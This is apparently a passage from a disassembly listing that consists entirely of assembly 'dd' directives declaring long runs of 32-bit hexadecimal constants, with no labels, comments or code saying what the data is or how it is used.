		dd 5A493908h, 0B774A1F6h, 66375056h, 0DD46891Ah, 0A290C2A3h
		dd 25C89E64h, 0CC65D4F6h, 207E5438h, 0F63D4F3h,	0F48D260h
		dd 153C89E3h, 0D5DECD10h, 0D892C602h, 3500D7DBh, 0BEAF84DCh
		dd 0DA9E4893h, 8EAC5528h, 362E0BBh, 0EE00F8B0h,	2297A605h
		dd 0BD82644Dh, 0BA381EEEh, 0DA258CDDh, 164B89DEh, 0CCAECF00h
		dd 0AC5FAE36h, 4BEE887Ah, 0FB8DE0C0h, 0E4C8A261h, 7E072393h
		dd 3BCE07B4h, 0E5E8F3EBh, 0F0140B91h, 47E4C461h, 0E5CA3286h
		dd 0D93D9E3Fh, 0D2938AC7h, 1ADC37C1h, 21B7A683h, 6D716E96h
		dd 91E73F4Ch, 0A77D65E2h, 49986D7Dh, 71116849h,	0C1622EB0h
		dd 0FBE33C55h, 0BC7E3CA2h, 0AA318048h, 84DD3D28h, 31A9ADA2h
		dd 8D07BE86h, 0FB81A00h, 58BC7EAFh, 0FBD90811h,	84F28115h
		dd 0E5145087h, 1D75101Bh, 5A1028Fh, 0FD2DC704h,	0AA9893D1h
		dd 0BA8308h, 415E40BAh,	0EF729B61h, 0A6E11330h,	5F6ED871h
		dd 0DE5EE2C9h, 48D65E15h, 467D078Fh, 0EFE37FBEh, 0B037C5A7h
		dd 0A17E2670h, 232A3A83h, 3DBD7DE1h, 8E8E6323h,	4C91333h
		dd 6425C287h, 0FAE780Dh, 0BDF4EBD0h, 2154A556h,	0E0B31292h
		dd 931DBA83h, 0E7F67ACBh, 705CBE5Bh, 36BD0112h,	0F2BDBEEEh
		dd 6855F5B1h, 3FAA82EDh
		dd 15053D96h, 92A00E7Eh, 2F36867Bh, 0F7E125Ah, 0AC8403Dh
		dd 0D0B764EAh, 0D88F3108h, 0EB06BB5h, 0D566F7C0h, 0E6B2B0F7h
		dd 9C6026Dh, 0B11B9A1Eh, 484147BBh, 0CA338FEDh,	0B99A7921h
		dd 7514BACBh, 0DD83899h, 0D4863501h, 3290D0C3h,	3E67006Fh
		dd 8D0B4122h, 0D17BDE2Eh, 85F9AF78h, 0E873F9DBh, 1174891Eh
		dd 9D13AF3h, 7CEE3F38h,	6950F61Ch, 538F0A2h, 3B501B13h
		dd 0E0B2C66Ch, 68FC8C21h, 3681009Dh, 6C38AF9Ah,	972A3CA1h
		dd 6EB0CD07h, 0F05D8AC6h, 0DAACB0E7h, 85C0D1C4h, 0AF09718Fh
		dd 94C8F6E1h, 0FF9B1E68h, 0C61BF49Eh, 0FD28CD17h, 72EC250Dh
		dd 35D5B53h, 291B882Dh,	86342B9Ah, 0E3D0BB28h, 74FD5569h
		dd 572472Bh, 0B891EF11h, 5E7698B6h, 371A6925h, 0BBC1C369h
		dd 229723FFh, 27AC9D93h, 9012B8B0h, 44750FD0h, 0DFF0E760h
		dd 3B9DEDAAh, 47F8FE56h, 341A6EB9h, 0ACA2E04Ah,	9A054865h
		dd 994B7BF2h, 5FA6C852h, 18B17CEh, 2FA19AB7h, 9DDEF72Ch
		dd 1660FCD4h, 320926C5h, 0A51924B7h, 682410FFh,	0BF5A513Ah
		dd 12EFF7C0h, 0D907680Dh, 0BC67243Ah, 0D5152E80h, 0DE5AC3D5h
		dd 4A66063Dh, 0E0E828ECh, 17FEF169h, 91CA228h, 7EA4B125h
		dd 0F513B06Dh, 0CBD3B787h, 407E7D0Bh, 742252D9h, 6BCDDD3Bh
		dd 0ED9DBDFBh, 68CDA21Fh, 0CE10ABF9h, 1881A90Bh, 0E8FCB0B4h
		dd 0F366D9A4h, 5F2AE2h,	9CBBD0F7h, 675E2484h, 0C288DA9h
		dd 43864A3Dh, 0C0C2ACF6h, 979A24C8h, 90E9D470h,	4DCC162Ah
		dd 0C5AF58B7h, 0C0F3EE63h, 0F4E55E61h, 362DC205h, 8FDC9E68h
		dd 14BD5324h, 0A2EDAA2Ch, 0E4D4595Ah, 685630h, 45006731h
		dd 91B30AEh, 0D33A4030h, 0D18E1B98h, 81C096ACh,	95288C8h
		dd 9F660111h, 55901C7Ah, 0D2329B5Eh, 0ECF8D4A0h, 96B535F2h
		dd 0F6AD0AFh, 738F53BCh, 714A5C9Fh, 63F72818h, 0F093C994h
		dd 1DDE7C13h, 0ED1B000h, 650710Fh, 0B7653A28h, 8C029143h
		dd 0F3BC1385h, 0C09968B3h, 4BE2685Dh, 414CF7BEh, 0A6E2C40Ch
		dd 15803273h, 66E95785h, 0AD64276Bh, 0D02CD4E8h, 30ED8D6Ch
		dd 4A377A54h, 4F68B69Ah, 5959B70Fh, 722D36C2h, 93AFC946h
		dd 0BC27A8C4h, 0D84705FDh, 661715B0h, 16C92BF2h, 0EBA05501h
		dd 0D063A7BBh, 0A3053107h, 2EA22FF8h, 0CAD8CAFCh, 0EC4CD86Bh
		dd 0C6D01268h, 0A10CEAD7h, 0A2986ADFh, 0E3DB86C6h, 0DADEFE1Dh
		dd 0D05D4D13h, 7B6B208Ch, 154A35EBh, 898125E2h,	302354A3h
		dd 6942B4EDh, 367309FBh, 9837857Ah, 455BF5D1h, 0A911FEF8h
		dd 7F5B1BA4h, 0F881F1F8h, 0EB4BA98Bh, 0F17A9379h, 0EA904B82h
		dd 13237CA9h, 0FDEEE164h, 13B54074h, 12C144D3h,	8B27D82Bh
		dd 0FC25452Fh, 56795F6Fh, 84D91EDAh, 491AE113h,	4A27D501h
		dd 909D9863h, 0DC8B42CFh, 0B2AA77ECh, 0A93D15FAh, 6C7E0496h
		dd 1C877519h, 0F0C32867h, 49800EDFh, 5A5E7D1Dh,	5DB920A3h
		dd 7115C825h, 7412D234h, 0D838F16Ah, 0D645F339h, 2D3DE3CDh
		dd 4EBCED23h, 89AF82FEh, 0A734DD43h, 0CBE7ADDAh, 0DB24AC5h
		dd 46203808h, 16861C69h, 499C229Bh, 0AB9A86A6h,	86EDBA98h
		dd 105B164Dh, 952FD3Dh,	0C8E6220Ch, 2F1ECC0Eh, 0DEA9B269h
		dd 0B6CF3D6Fh, 49E16966h, 37E2A287h, 3EBD62B7h,	270EB99h
		dd 0AF3EB8BAh, 7128274Ch, 7523B901h, 4FA93C6Bh,	903D979h
		dd 0FA9BD9D0h, 0FE270D8Eh, 0DEDACCD0h, 1DA3E2D0h, 110CCEE4h
		dd 1E5A8CF4h, 32B43453h, 0FF936A6Eh, 414A639h, 56E2A45Eh
		dd 93C5A684h, 1EF2DA7Fh, 0CE110F28h, 0DC06F0E1h, 89F55FF6h
		dd 133D3B25h, 30E7D9B5h, 0B80E7B4h, 4FC25E1Ah, 0EF06D4D6h
		dd 0BDE6CFEh, 98CB13E8h, 41B3AEA1h, 28D68822h, 79B75503h
		dd 1661D641h, 0D44FD8E9h, 65B905E1h, 0BD75FA5Ch, 3E83BDBAh
		dd 1605C48h, 0ED0683E6h, 0CDC11804h, 12E7EABCh,	19E64655h
		dd 8F112FACh, 0CFE99012h, 9C29342Ah, 0D8411A83h, 0C901E23h
		dd 3EA6A6A2h, 1E62E0A4h, 0EC552593h, 2F7AEB26h,	88EC63Dh
		dd 1D660803h, 3AA0D927h, 5B4055CFh, 0B9C81DECh,	569C5730h
		dd 79D5CDC9h, 0C4E670AEh, 0FE75B9FDh, 94C161EBh, 0EC3B238Ah
		dd 7F08A02Dh, 8A7E0E9Bh, 65F2D56Bh, 10C8C76Ch, 0D3BA325h
		dd 0F13D9948h, 0B11B9C0Fh, 96C0672Eh, 5F31D323h, 34CCEB32h
		dd 920A4E7Ch, 44F14E0Ch, 85969031h, 1BEFE25Fh, 4842E8EAh
		dd 0E3D3A952h, 0D66A797h, 75335169h, 71EBD471h,	24AC8D09h
		dd 87958A86h, 3143110Fh, 0A0917143h, 7179C6Ah, 8E586EBAh
		dd 0CDCE4A3Dh, 0A7760180h, 0C9F2B18h, 286918B1h, 0B97989A7h
		dd 91742714h, 70324E01h, 0DAA66C5Bh, 911B2FBEh,	0A75AE7F1h
		dd 7641AC47h, 0E0D1B42h, 0D4C82889h, 6A34D7EDh,	0BCA9AC9Ch
		dd 0BE52CA23h, 3B00DDEAh, 66FAB04Ch, 1B388499h,	0C70893D8h
		dd 61E5BD09h, 345E35h, 8453DBE0h, 0BE406597h, 5091908Bh
		dd 0F2399949h, 0A4486C65h, 0DD13D3E5h, 0BDF6AD0Eh, 14C28B72h
		dd 3A2D46C1h, 0B46576D0h, 49A3CF81h, 42EFC3D1h,	9A34B387h
		dd 861A4CC5h, 9AC14DB1h, 3514FFF5h, 4D0FBC46h, 0ABB61D45h
		dd 279CBFEDh, 0F7C41FA3h, 51092323h, 542DBD7Bh,	75A9C25Ch
		dd 5108D2F4h, 4F6A0DBEh, 664157FAh, 30382A92h, 19DA2819h
		dd 81810E6Eh, 0F36A92DBh, 0E195C783h, 6154F957h, 8FCB20BBh
		dd 45C5F55Eh, 1A63C840h, 0F2FD04C2h, 85B7AC28h,	629718ABh
		dd 926A54F3h, 0AC4411D4h, 0F4EEA7Ch, 67C4AE93h,	7A886456h
		dd 4AF8C38Fh, 1BE2EB77h, 0EEB3B80Eh, 0E803FA35h, 0E4E2FF50h
		dd 1D9EC708h, 2684CCCAh, 3A42700Ah, 0DB61FB9h, 0B990C97Eh
		dd 0E267A61Ch, 215969AEh, 727515BCh, 0EB278D91h, 0AE4C5720h
		dd 0ABC3D645h, 0C1E3ACEBh, 0A84F351Eh, 74E89909h, 53177068h
		dd 0AA51477h, 730AB208h, 60D30653h, 6C586EBCh, 23120945h
		dd 804B74ACh, 781A130Fh, 0E9BB29D8h, 29A2D992h,	0DBAB3B6Bh
		dd 5FD9AEC1h, 0B68A1265h, 2FA64F35h, 6C4F0D74h,	6A345609h
		dd 0A1A423E5h, 0E37AAA53h, 878C8B4Eh, 28D7052Ch, 28EC3083h
		dd 48829DF8h, 15C3692Dh, 0C573552h, 2B6FA232h, 0A7083E46h
		dd 80629A82h, 68FAC904h, 8946DC1h, 0AE37740Bh, 11FC09ACh
		dd 26F40CCBh, 0C44FDBFDh, 999542F5h, 8F95B73Ah,	409DCBD7h
		dd 0C1017486h, 271F6AFBh, 0B9509FF1h, 17BFD841h, 9AB9615Bh
		dd 0FC83CE53h, 6F950D9Ah, 0D98589E6h, 0AE4FE472h, 3B29C7F4h
		dd 7F93F91h, 68F39318h,	0AF893DA9h, 7F06E012h, 1AE8B96h
		dd 56533C46h, 596B3BA3h, 7339DBA4h, 0A01240F1h,	0E9ECDBC3h
		dd 31D1099Dh, 5CEDE270h, 0B5C70C96h, 12E85B87h,	3CC75067h
		dd 82599BBFh, 0E35634B8h, 552F188Dh, 4455A01Dh,	0A4F99883h
		dd 7AAE58A6h, 0E3069282h, 0CDD7E236h, 0A9A2858Bh, 84C93FBBh
		dd 8E8BEAA2h, 71CC5ADEh, 0C91FFCCFh, 4C813E2Fh,	0BDF5D993h
		dd 0A11C05DDh, 84771B1Ch, 8268B5C9h, 0BB9324D3h, 225CE187h
		dd 0C875F391h, 32B6B6B0h, 0AAE2973Eh, 159B3B52h, 0B23BEDA3h
		dd 0F3C6DF9Eh, 8A5C3Bh,	816F9680h, 2ECDBA53h, 0D108E402h
		dd 0BEEDB77Fh, 0CFDCFA23h, 0B0A40090h, 0D9D3F370h, 43A46226h
		dd 0C58837DCh, 804DB535h, 0F4357C18h, 0FDDA3226h, 4FF65210h
		dd 559F19E3h, 0E993D36Ah, 5D8553CAh, 9134CCE4h,	883C0C9Eh
		dd 7F9BB0CFh, 3A243C3Eh, 0CB43DFDh, 0BEC3C47Fh,	0EBDA8D44h
		dd 2801792Bh, 0A594A0D4h, 6D22F697h, 582577A0h,	3D34CCA7h
		dd 0F223910Ah, 1F2071F5h
		dd 58C430C5h, 35105D88h, 7E83FF0Fh, 572A8AEBh, 0A408106Ah
		dd 664C93Dh, 4C28F2EEh,	88DF13A0h, 0A5A4228Dh, 36545321h
		dd 5791D34Dh, 0AAD48762h, 0ABA942Dh, 0D4B538E7h, 7E3332A8h
		dd 0D73ADD87h, 60B2C2AAh, 3B6B0C41h, 0E049553Dh, 8FDEBD93h
		dd 22401AA5h, 460E5A2h,	71A25865h, 0A2679968h, 3FA3400h
		dd 0FF7F3208h, 34518551h, 98783797h, 9C63ECF3h,	991A1862h
		dd 9DA6D0BCh, 68A4315Dh, 0D0D165D0h, 2E797CF3h,	15AEB404h
		dd 706F06EFh, 9FDCA17Ah, 346D08E5h, 0E2F646A0h,	0BF24DA9h
		dd 0DD705D35h, 68ECCC2Ch, 6CEA20E4h, 0E7240253h, 0AD9FFB33h
		dd 0C9AA2391h, 92CF696Ch, 30F56334h, 99F0E57Ah,	233B6568h
		dd 8AF49FE0h, 701243Dh,	0ED049650h, 0F430C7A5h,	61399A4Bh
		dd 0EAA7BCC8h, 0CF2793C5h, 2EF93DC0h, 4B9723C8h, 0E047B097h
		dd 0ADA1EED9h, 0A38FB28Dh, 44A80BDFh, 2DE0024Ah, 2348A330h
		dd 0ED7B8E8Ch, 5F51FCD6h, 0DF345FB4h, 0B72097C6h, 0ED6D990Fh
		dd 34050FDCh, 0A25A0A37h, 0C2378E66h, 7EBE9905h, 0BF9D9928h
		dd 5B721879h, 0E8CC4BF9h, 0BD52D728h, 8A52FA46h, 4C41554Dh
		dd 0DBA612C8h, 8DAE483Ah, 50ED91CBh, 0A8A3CF84h, 0C1E6BAB8h
		dd 3764231Ah, 0AECDDAB2h, 6DC5B48Ch, 0DCA01631h, 0FAF7FE97h
		dd 0DD87C5BCh, 58E213EBh, 0CE5BC05Dh, 0C55337C0h, 0B83DA863h
		dd 39A57D70h, 57B18176h, 0C1DB6378h, 22862EBAh,	3FF59344h
		dd 0DC822A00h, 31E6E26h, 11A321ABh, 6AE85D62h, 0B8962CB2h
		dd 3AA07C47h, 265557D2h, 5E778956h, 8969AA1Dh, 422FC69Ch
		dd 9D086058h, 0FE9B4895h, 0B9B2975Ch, 788BEF82h, 7F9EBD32h
		dd 7AAC03AEh, 566725D4h, 48829C76h, 0C93CD0E4h,	2CD4C92Dh
		dd 0CA040CF1h, 0E944EF08h, 2EAB6AC9h, 132ECCD0h, 9AF40936h
		dd 0CE57347h, 4DCAFCDEh, 6AB991A2h, 0C00F5FA4h,	613F9DDBh
		dd 0A46C806Fh, 17D275FFh, 2AAB4306h, 0A9DA6FCBh, 4209806Dh
		dd 0EBB0D677h, 8B95A56Dh, 1832E864h, 0D103CE0Ah, 7A5BDEEFh
		dd 4B3B3AF3h, 0D41F13C0h, 0A9BEAB13h, 5418E2Fh,	9D6E983Bh
		dd 57FAC3E7h, 57053603h, 0D1075F2Dh, 10210FCBh,	0B713AB45h
		dd 6DF610F6h, 799836D9h, 9417B14Dh, 0B56D5D54h,	0B5F09D07h
		dd 0BE857374h, 7EDEB744h, 0F58718E7h, 0A7D74B90h, 0EAC429BFh
		dd 1E5DEA81h, 0A1530705h, 55436C09h, 7B011DADh,	0F22E8D8Bh
		dd 767C87FBh, 3DFAC2BAh, 52024C73h, 0F1339404h,	7C31E4D9h
		dd 28958EF7h, 0CFD760A7h, 8EABBB4Fh, 67C9CDD2h,	8BB1A57Eh
		dd 7833EDE6h, 0E1206370h, 279D1FCCh, 5BD1C892h,	39824746h
		dd 14C17E16h, 31B31F36h, 0B5D9E2FCh, 458CE9EFh,	9F712966h
		dd 133BB3D9h, 9F6AFD9Dh, 0B5DA96B2h, 2D5EE082h,	765A88B0h
		dd 241BB901h, 948EBDBDh, 0F8B20EDAh, 5A2B1891h,	3CF2E7Ch
		dd 27A996Dh, 0FAB9BF00h, 2F8F6290h, 0E2B7EFECh,	0C285D759h
		dd 69D804EDh, 0E03ED686h, 0CA3289DBh, 3AFF4FBDh, 6CA5C5C3h
		dd 0DE5E7AD7h, 5F0B2AB7h, 356BB907h, 0A6B8CAC0h, 5B1A417Ch
		dd 0CB445C2Ah, 9BBD2330h, 0A0CF0092h, 0D6A3D871h, 13497895h
		dd 7B88D5C5h, 35CD9915h, 0CC60186Eh, 5F1A7849h,	5C0327A4h
		dd 0A2C2CC1Dh, 0F4DCFAA9h, 0CE73C53Ch, 0BC2ACE39h, 0C9AC9F09h
		dd 249F2B08h, 91444A67h, 6495E4B3h, 4886A140h, 57FF2BE5h
		dd 0A58BE191h, 3E995945h, 5CAE1504h, 25772EC3h,	63F5DE65h
		dd 20086A47h, 0F2ABFCD4h, 5027F195h, 0DE374344h, 0A2493C34h
		dd 5D614819h, 0CB2745E7h, 4D530B1Dh, 12ACCB81h,	268226FAh
		dd 86DC84A3h, 77BF2CB3h, 0FDE9B0EFh, 650F3BEBh,	0D259091Ah
		dd 57BDFE18h, 5E60BB3Bh, 0ED2FD702h, 44158582h,	2653C400h
		dd 43F0FBC8h, 943E9152h, 92212E37h, 0DA1B75C1h,	4D4E5266h
		dd 0D654EFFh, 99A6622Ch, 0A01C91EDh, 0DCD4080Eh, 6C010BDAh
		dd 0D7640E03h, 0A989F6CCh, 87928B12h, 0C693CE66h, 3FC3A1E5h
		dd 37B583EBh, 1C87067Bh, 5E8C2115h, 0F39E2494h,	5EDAB79Dh
		dd 17E34001h, 72582765h, 14EF86F5h, 0E4287A81h,	0F99B1DD3h
		dd 0EE516772h, 9C5B8A45h, 0EAD58656h, 897E81CEh, 0A60B524Ah
		dd 0A08AA686h, 7A6109C2h, 0BF35D8A5h, 27D19C07h, 9ED7E188h
		dd 0DA3ED83h, 0F517889Eh, 455802E5h, 0DC79F739h, 0EF484AA4h
		dd 88C28CF7h, 2E664223h, 3B791ED3h, 90EA55D6h, 0E48CE499h
		dd 1826FBDAh, 0F5441F66h, 2E90C706h, 84F214ADh,	41BC04A1h
		dd 134D7814h, 75E09956h, 0E2A180FAh, 0FFC82A6Fh, 0F459C294h
		dd 6D1D984Ah, 0ADBF41B9h, 0F1CCF10Ch, 71A212ADh, 6CC6EE5Eh
		dd 0DF3EE779h, 6FBB5EF1h, 0AD9D253Bh, 16E6BDA0h, 250A15C1h
		dd 0FC77B37Ah, 965BFA9Dh, 0CEE3375h, 2D500309h,	89BDD38Eh
		dd 32E7A8E5h, 7FD8521Bh, 85109CD7h, 0FB0F87B8h,	63DFABF2h
		dd 9EB965A3h, 0D3B55479h, 722F0199h, 0BCFD8744h, 0D37E022Eh
		dd 4162CEh, 0C1EB98C7h,	75CC963Ch, 0A38928A7h, 159048C6h
		dd 0CC8977A9h, 0B9C3D4E6h, 63AB9492h, 2F47EBDCh, 2843EAADh
		dd 0E7271894h, 373C3168h, 0D70B318Dh, 0F87F43ACh, 79B9665Eh
		dd 0E4483B93h, 62847CBh, 346FEBF4h, 707E88AFh, 57D26743h
		dd 6BEA0A7Eh, 4A987BAAh, 6BF4C829h, 120D3D1h, 707DD885h
		dd 4095DBCEh, 271EFCF5h, 62C02534h, 30E9913Dh, 0FBEA1E2Ch
		dd 7DB20EC5h, 21E5B257h, 0BC89E8Bh, 9841E63h, 760FF182h
		dd 36383DB7h, 31C25641h, 254D4F81h, 0E9657258h,	134055Bh
		dd 749C9262h, 0D03F1D21h, 2B015C5Ch, 0F905653Dh, 6D3CC496h
		dd 0BA286B5Dh, 51EB8D9Eh, 341BE8B9h, 0FE5BFAC7h, 183F53E6h
		dd 0F3376B96h, 0EE13F14Ch, 0E9FD5D40h, 39B1107Dh, 140EF5E0h
		dd 0C9E23E4Dh, 0A48B69B8h, 780C3349h, 0C648852Eh, 6C81075Dh
		dd 982065F6h, 79D54493h, 0E65A1E92h, 0DCF2DC14h, 5DCC1F85h
		dd 560DF01Ah, 67928BD5h, 8E816DF4h, 3FF67670h, 4B0CD389h
		dd 568D4ECAh, 6F4AA28Ch, 0EC4FE6E2h, 21A9715Ah,	0EAAC5D5Ah
		dd 33BD7195h, 2960A84Bh, 3BBD90BBh, 3D833A69h, 0C05BE129h
		dd 0E0907159h, 9C88A351h, 0DE859701h, 0A5A65FA8h, 29F20476h
		dd 0A58AA83Ah, 80DD5CD7h, 297349F1h, 0EA2487DFh, 646EAFB9h
		dd 0E536358Ah, 377A2887h, 0C804109Dh, 74A43D89h, 831B5AFBh
		dd 6910DD1Ch, 44268933h, 639D1BD7h, 40B1CEBAh, 641139D0h
		dd 0AA152983h, 0C37C337Eh, 0BB6F5E6h, 1E73CCF3h, 0DE12EB32h
		dd 7B756CFEh, 7FFD6E42h, 7F79EFBFh, 3997757Eh, 5DCA5803h
		dd 0A9335971h, 4B5A9B77h, 0F9045989h, 0F62079BCh, 0AF626455h
		dd 0F8AC2EF0h, 15A497Ch, 0DB718F77h, 596942B3h,	0B5F53432h
		dd 2CE66E3Bh, 6FE8659Fh, 1F9AEF28h, 4E0876C4h, 7620C4D9h
		dd 8D069DB7h, 0E3E90C27h, 4FD9A5D0h, 29613414h,	7EC227A4h
		dd 765ACE86h, 5148D9B3h, 0C9EAD89Fh, 796EDC94h,	0A4CE3F55h
		dd 6E839CF9h, 99559499h, 0F4E6F2E9h, 631152B0h,	0EA56733Ch
		dd 0DC45EE33h, 0F1F269D2h, 550832Dh, 0F45AE01Dh, 0E7562741h
		dd 3A020107h, 275EB22Ch, 0B6FF9600h, 50387380h,	19672377h
		dd 3214CDBCh, 0EFFCFE30h, 0DAEEA1Dh, 9BC98C8Fh,	0AD1CEA1h
		dd 35D78BE8h, 4DF5F1F0h, 80EE3A0Eh, 0F51DD3AAh,	7A565A4Eh
		dd 0D541C49Ch, 0F7D67EBDh, 19F8E2B2h, 0BCE59B3Ah, 62F45ADh
		dd 0E8D5978Eh, 3872B3EAh, 0B3EF916Ch, 3AF338Ah,	0CC60F9B1h
		dd 0D9332673h, 39CD9FDCh, 8411E323h, 0A8720CC2h, 0CF92C878h
		dd 71D9746Bh, 9651BD82h
		dd 0D638EF6Fh, 160D42A6h, 922FD9BBh, 1C34BCBEh,	7122101Fh
		dd 0DCC8486Bh, 9AE513B3h, 0D2DD1218h, 2EBE30A3h, 16B3573Fh
		dd 6659CA04h, 0B13E082Ch, 0AC67EEC8h, 0B32E209Fh, 144C4103h
		dd 9F0B7136h, 0D6278924h, 658836D9h, 0BA8E6839h, 19724CC8h
		dd 3D48057Dh, 0DAE6EA2Fh, 372A186Ch, 0A051D31Ch, 7DDE0AC5h
		dd 0D0EEA475h, 0B8096BBAh, 398117C8h, 13E4A361h, 20717BA2h
		dd 0C46C937Bh, 0B4C0CD1Ch, 82DEB80Fh, 0B888A58Dh, 58972E42h
		dd 0B45549FFh, 5BB405C3h, 514C0328h, 8B92DAE4h,	53C4B3B9h
		dd 2888982Eh, 0A3985CB7h, 0D69336A2h, 3012317Bh, 0EDA8FA08h
		dd 5C294FD6h, 0D6B89B8Bh, 4CBF9799h, 0A9A239A4h, 77EB9748h
		dd 0E33EBF3Eh, 61419D6Ah, 0E76C4CD9h, 849BBEF6h, 505C377h
		dd 30033551h, 4BDB9BEFh, 5A79B788h, 0C73A9AE3h,	0EC6F8915h
		dd 9CE81A35h, 0D6A3FDBBh, 0CB0570A0h, 416B0012h, 0D850EB44h
		dd 9A3C5C50h, 0AADB87D9h, 0C5128C67h, 72624B9Ah, 0EB55BC9Eh
		dd 0D26338B4h, 6F031B9Ah, 32EDFA7Fh, 2491006Ch,	2C80A587h
		dd 7C67CD88h, 29FCCE33h, 1E1640AAh, 6BD50BE5h, 2FF7473Eh
		dd 0D295D60Eh, 0D5D28F69h, 9971F3F1h, 0FEB472B4h, 0FF3E56DCh
		dd 9E8CEFA1h, 0BB9ED84Dh, 0C03433E6h, 5B113445h, 57A3EEA4h
		dd 0E6E8FA19h, 0F7AA9B8Ah, 8BB81E13h, 764018C4h, 112DFAC6h
		dd 0AAFECDAh, 1CFC92D0h, 93AF41F4h, 9F41790Dh, 705ABF5h
		dd 5D68B8BCh, 0C2016D1h, 5F8E6C49h, 83FB31DFh, 85CC1967h
		dd 315E9309h, 0F6EF950Dh, 0CD87EB27h, 0B1B488FBh, 0F40305Ch
		dd 4098557Bh, 0D98D1A0Dh, 1C20E805h, 0AEAFE628h, 0C859E864h
		dd 9B749934h, 0D4E8CB80h, 0CE36581Eh, 80876CD4h, 89ACB904h
		dd 0C1E817A8h, 14D2CB85h, 1C87E5B9h, 1FC8B609h,	0A3251C10h
		dd 46C20C99h, 6BA181FCh, 810069C6h, 0DE1722ACh,	4D2221F6h
		dd 0CB53CD5Bh, 6CE10673h, 1F8B2F4Fh, 4F711C24h,	6610C0E1h
		dd 6FD3C5EDh, 1BED1EF9h, 795B2FD6h, 4748AFBAh, 424D0DDCh
		dd 0D3A418E0h, 0C43D32AEh, 5C99578Bh, 5FF374C8h, 7D223E1Ah
		dd 26780393h, 0F4B5AD47h, 0C2D31E9Fh, 0F165F246h, 0CEA49B53h
		dd 68E3C4C8h, 8E6E53B6h, 6A69B3C5h, 85A7BE13h, 57CB9F76h
		dd 0BBE8A741h, 0A6968D2Fh, 2AC883C1h, 80654257h, 5565ACE6h
		dd 45DD7254h, 0B64ED1A2h, 0B84B56D4h, 0A01D0529h, 4BA81446h
		dd 7D2DBB3Eh, 20030267h, 1270662Ch, 0CDA2787h, 6DB8E890h
		dd 79DC026Ah, 0E627CAC6h, 0D93B7FEEh, 0B3160D9Fh, 61834058h
		dd 3E85B977h, 0C1A5E9A4h, 0C4748056h, 1936835Fh, 0E53FE4FBh
		dd 0A1D5DA58h, 0BD30328Ah, 0F728EF57h, 80BB899Ch, 0F727E81h
		dd 836B8DD1h, 370666ACh, 123D1C9h, 7246A0EFh, 320717F4h
		dd 97535D33h, 1D42420h,	0F6B7EAC8h, 0C5047B07h,	2B0085ECh
		dd 0BB000867h, 642E6A14h, 42297107h, 565AF18h, 0C2472538h
		dd 0EA4E97E5h, 0BDAE4E23h, 151928F6h, 859EFE61h, 7C93B654h
		dd 656C5Bh, 0CF0FBC9h, 0D9A93C05h, 86CE595Eh, 45121409h
		dd 26263739h, 0E61EE479h, 5AC36DB6h, 0E7706B8Dh, 0C05FD4E3h
		dd 61207C3Dh, 3910713Eh, 5FDED776h, 47C0B6D4h, 8FFDFDD2h
		dd 64222586h, 73F2BDFBh, 396C6541h, 519C3B19h, 555A2529h
		dd 0E24FC24Eh, 0C80859E8h, 0D5CCA3Fh, 0EE4E3021h, 21A9AF7h
		dd 63D41F41h, 2D597596h, 25B8BCDEh, 0FEF82672h,	991CFE76h
		dd 0F1F13390h, 592F006Dh, 0B7D80FDEh, 0E8169E69h, 6ACE7115h
		dd 1972E013h, 56285F17h, 395D155Ch, 4AB84364h, 5382BA70h
		dd 0B1343E13h, 27C6A044h, 0D88D1827h, 0E059A626h, 3DE69066h
		dd 0FF06825h, 2E400435h, 0E3F96AECh, 225E87B4h,	5D934F75h
		dd 48955CC7h, 505EB76Fh, 8A5A80FDh, 0A94B978Dh,	9406B2F2h
		dd 52315A6Ah, 8E91FE5Eh, 0DAFEFA96h, 87BDC7D3h,	20B85A89h
		dd 4966E2EDh, 20885214h, 5F3657BBh, 0DA7CA837h,	77CD1B5h
		dd 0EDD6ABECh, 0C8C10FDBh, 0A47B57D5h, 0CCDAF523h, 826C344Ch
		dd 0A31FD513h, 7A524611h, 420EC6A1h, 77DB658Fh,	0AB9A9918h
		dd 0EA22AB35h, 0BF9243CBh, 8A2F215Dh, 21CE9F10h, 75CD0EA4h
		dd 0A7AF713Eh, 0D038E18Ah, 313338A0h, 0EFF13AB8h, 2FAA5791h
		dd 5AB0D3ADh, 0F5D8501Bh, 53A52ED2h, 41B3CDF6h,	8AE875D6h
		dd 8389D9D4h, 7CDD3325h, 23C9A407h, 55FBDDADh, 1897D8F7h
		dd 29B14873h, 5296488Dh, 0BEA4BAD5h, 904237F6h,	6BF6FCFBh
		dd 0E7EA2DC1h, 59E8C3EDh, 30E1AF2Ah, 0C1934CD7h, 0A2EE0DF7h
		dd 772F002Dh, 0F2DBFBD5h, 74B365B9h, 0A721F28h,	9793CCD8h
		dd 19A29FFEh, 11EFFB2Dh, 2C83CD14h, 0D5A0A85Eh,	67265976h
		dd 0DCA7FBE8h, 0F2AA3A14h, 2EEEF2C2h, 1CDF349Fh, 2B000108h
		dd 0EFF9C7A3h, 0CF04FFDFh, 5C6168B5h, 0E4AE551Fh, 4F6DA3FDh
		dd 0C34DECF1h, 9D20886Eh, 48C8109Eh, 0BEEA2B92h, 0CD74804Eh
		dd 79DFE49Bh, 0CE9E241Ch, 56D4C14Ah, 0D76B3490h, 0C251A9D5h
		dd 0A4F93F48h, 0FFD08D4Ah, 28B9D26Eh, 15B7816Dh, 7FECBC4Eh
		dd 3D64232h, 4CE13699h,	295A70ACh, 4164776Eh, 0E1191627h
		dd 0D2D0E402h, 788420C3h, 72C48E2Ah, 0C92398FAh, 72C64CF1h
		dd 682D376Ch, 7F38EC87h, 9C1A87A3h, 55CFED2h, 1423836Ch
		dd 86ED0321h, 8732DA5Dh, 4E9134CCh, 9E475B62h, 0D5FD98DCh
		dd 44E38CAEh, 0C296B29Dh, 524BE984h, 5D7237DDh,	0EE47E406h
		dd 57E6DD73h, 0F0982136h, 7F7F3C36h, 11E3775Ch,	0DADA1174h
		dd 3157342Ah, 2120E377h, 0E1DA2130h, 56FC2027h,	2849B37Dh
		dd 0FD0A3234h, 52CD1230h, 3D204167h, 0CD20C3F6h, 0AD1FC056h
		dd 3BB78814h, 0DA27207h, 22AE7E69h, 0F1EA18B3h,	166DF2E6h
		dd 705072DCh, 0A48C537Ch, 0B0323387h, 0B8C3694h, 0C5AE5DEAh
		dd 97E8B6CBh, 52278FEh,	0DB91A713h, 0BCD7831Bh,	0D9FBFCDCh
		dd 0EA92239h, 1CB750C9h, 76B0A6B2h, 903F68A0h, 9239AD73h
		dd 85C13527h, 0D14DE725h, 9F85219Bh, 225C106Ch,	900BD586h
		dd 0ECB9A9D6h, 221B541Ah, 3A10F921h, 0DFD36544h, 629F3F94h
